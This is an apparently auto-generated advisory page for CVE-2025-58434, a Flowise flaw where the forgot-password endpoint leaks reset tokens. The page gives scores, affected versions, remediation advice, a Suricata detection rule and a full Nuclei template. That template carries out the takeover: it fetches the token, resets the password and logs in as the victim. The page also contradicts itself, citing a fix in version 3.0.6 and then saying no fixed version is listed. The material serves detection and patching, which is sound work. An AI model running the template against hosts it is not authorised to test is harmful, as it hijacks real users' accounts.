VULNpocalypse

CVE-2025-58434: Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). This vulnerability applies to both the cloud service (`cloud.flowiseai.com`) and self-hosted/local Flowise deployments that expose the same API. Commit 9e178d68873eb876073846433a596590d3d9c863 in version 3.0.6 secures password reset endpoints. Several recommended remediation steps are available. Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. Ensure `forgot-password` responds with a generic success message regardless of input, to avoid user enumeration. Require strong validation of the `tempToken` (e.g., single-use, short expiry, tied to request origin, validated against email delivery). Apply the same fixes to both cloud and self-hosted/local deployments. Log and monitor password reset requests for suspicious activity. Consider multi-factor verification for sensitive accounts.

Description quoted from the CVE record (assigned by GitHub_M, published 2025-09-12).

Weakness: CWE-306: Missing Authentication for Critical Function

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-13370, CNNVD-202509-1796, EDB-52557, EUVD-2025-29069, GHSA-wgpv-6j63-x5ph

VEDAS cluster: VEDAS:CHISPELLBOUND

Exploit Observer links 25 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (25)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (6)

Catalogue entries, not exploit evidence.

11 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.764
very likely to be attacked soon
VEDAS
0.981
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
FlowiseAI Flowiseversion <= 3.0.5Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: flowise_ai flowise, flowiseai flowise, npm flowise.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Flowise - Missing Authentication

Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including a valid password reset `tempToken` without authentication or verification.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (POST /api/v1/account/forgot-password, POST /api/v1/account/reset-password, POST /api/v1/auth/login); it decides using dsl, regex matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-58434.yaml
Show the template (95 lines)
yaml
id: CVE-2025-58434

info:
  name: Flowise - Missing Authentication
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5 and
    earlier, the `forgot-password` endpoint in Flowise returns sensitive information including a valid password
    reset `tempToken` without authentication or verification.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-58434&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=flowise&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-58434
    cwe-id: CWE-306
  metadata:
    verified: false
  tags: cve,cve2025,flowise,ato,rce,unauth,vuln,ai
variables:
  username: "{{username}}"
  new_password: "{{rand_text_alphanumeric(12)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/v1/account/forgot-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"user":{"email":"{{username}}"}}

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        regex:
          - '"tempToken":"([A-Za-z0-9]{64})"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 201
        internal: true


  - raw:
      - |
        POST /api/v1/account/reset-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "user": {
            "email": "{{username}}",
            "tempToken": "{{token}}",
            "password": "{{new_password}}"
          }
        }

    matchers:
      - type: dsl
        dsl:
          - status_code == 201
        internal: true

  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "email": "{{username}}",
          "password": "{{new_password}}"
        }

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, 'id', '{{username}}', 'activeWorkspaceId')
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Password:" + new_password'

CVE-2025-58434.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-58434 Flowise - Missing Authentication. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-58434 Flowise - Missing Authentication"; flow:established,to_server; http.uri; content:"/api/v1/account/forgot-password"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-58434; reference:url,https://www.exploit.observer/?keyword=CVE-2025-58434&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=flowise&match=exact; sid:1008977; rev:1;)

CVE-2025-58434.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.